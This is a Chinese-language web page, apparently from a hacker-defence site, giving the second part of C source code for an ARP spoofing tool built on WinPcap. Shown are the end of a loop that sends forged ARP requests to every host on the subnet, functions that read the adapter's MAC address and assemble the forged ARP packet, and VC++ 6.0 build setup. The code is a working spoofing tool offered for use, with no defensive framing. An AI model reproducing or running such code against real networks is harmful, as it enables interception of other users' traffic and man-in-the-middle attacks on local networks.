ARP 欺骗源代码(基于Wicap实现)(2)_.NET概论及软件使用_黑客防线网安服务器维护基地--Powered by WWW.RONGSEN.COM.CN

ARP 欺骗源代码(基于Wicap实现)(2)

作者:黑客防线网安ASP维护基地 来源:黑客防线网安ASP维护基地 浏览次数:0

本篇关键词:实现基于源代码欺骗
黑客防线网安网讯:  unsigned long net = ip & netmask; //子网地址 for(unsigned long n=1; n<netsize; n++){ //第i台主机的IP地址,网络字节顺序 unsigned long destIp = net | htonl(n); //构建假的ARP请...

  unsigned long net = ip & netmask; //子网地址

for(unsigned long n=1; n<netsize; n++){
//第i台主机的IP地址网络字节顺序
unsigned long destIp = net | htonl(n);
//构建假的ARP请求包达到本机伪装成给定的IP地址的目的
packet = BuildArpPacket(mac,fakeIp,destIp);
if(pcap_sendpacket(adhandle, packet, 60)==-1){
fprintf(stderr,"pcap_sendpacket error. ");
}
}

}

return 0;
}
/**
* 获得网卡的MAC地址
* pDevName 网卡的设备名称
*/
unsigned char* GetSelfMac(char* pDevName){

static u_char mac[6];

memset(mac,0,sizeof(mac));

LPADAPTER lpAdapter = PacketOpenAdapter(pDevName);

if (!lpAdapter || (lpAdapter->hFile == INVALID_HANDLE_VALUE))
{
return NULL;
}

PPACKET_OID_DATA OidData = (PPACKET_OID_DATA)malloc(6 + sizeof(PACKET_OID_DATA));
if (OidData == NULL)
{
PacketCloseAdapter(lpAdapter);
return NULL;
}
//
// Retrieve the adapter MAC querying the NIC driver
//
OidData->Oid = OID_802_3_CURRENT_ADDRESS;

OidData->Length = 6;
memset(OidData->Data, 0, 6);
BOOLEAN Status = PacketRequest(lpAdapter, FALSE, OidData);
if(Status)
{
memcpy(mac,(u_char*)(OidData->Data),6);
}
free(OidData);
PacketCloseAdapter(lpAdapter);
return mac;

}

/**
* 封装ARP请求包
* source_mac 源MAC地址
* srcIP 源IP
* destIP 目的IP
*/
unsigned char* BuildArpPacket(unsigned char* source_mac,
unsigned long srcIP,unsigned long destIP)
{
static struct arp_packet packet;

//目的MAC地址为广播地址,FF-FF-FF-FF-FF-FF
memset(packet.eth.dest_mac,0xFF,6);
//源MAC地址
memcpy(packet.eth.source_mac,source_mac,6);
//上层协议为ARP协议,0x0806
packet.eth.eh_type = htons(0x0806);

//硬件类型,Ethernet是0x0001
packet.arp.hardware_type = htons(0x0001);
//上层协议类型,IP为0x0800
packet.arp.protocol_type = htons(0x0800);
//硬件地址长度:MAC地址长度为0x06
packet.arp.add_len = 0x06;
//协议地址长度:IP地址长度为0x04
packet.arp.pro_len = 0x04;
//操作:ARP请求为1
packet.arp.option = htons(0x0001);
//源MAC地址
memcpy(packet.arp.sour_addr,source_mac,6);
//源IP地址
packet.arp.sour_ip = srcIP;
//目的MAC地址,填充0
memset(packet.arp.dest_addr,0,6);
//目的IP地址
packet.arp.dest_ip = destIP;
//填充数据,18B
memset(packet.arp.padding,0,18);

return (unsigned char*)&packet;
}

VC++ 6.0 中使用WinPcap
下载并安装WinPcap,安装之后在目录”C:WINDOWSsystem32“下WinPcap添加了Packet.dll、wpcap.dll
增加WinPcap的include和lib路径:
Tools→Options→Directories,其中include文件的路径增加WinPcap的include路径(其中有pcap.h等头文件),library文件的路径增加WinPcap的lib路径(其中有Packet.lib和wpcap.lib)
增加项目的静态链接库:
Project→Settings→Link→Object/library Modules,在文本框的末尾添加”wpcap.lib packet.lib ws2_32.lib“。
增加预编译信息:
Project→Settings→C/C++→Preprocessor definitions,在文本框的末尾添加”WPCAP,HAVE_REMOTE“。

    黑客防线网安服务器维护方案本篇连接:http://www.rongsen.com.cn/show-14421-1.html
网站维护教程更新时间:2012-03-30 05:51:04  【打印此页】  【关闭
我要申请本站N点 | 黑客防线官网 |  
专业服务器维护及网站维护手工安全搭建环境,网站安全加固服务。黑客防线网安服务器维护基地招商进行中!QQ:29769479

footer  footer  footer  footer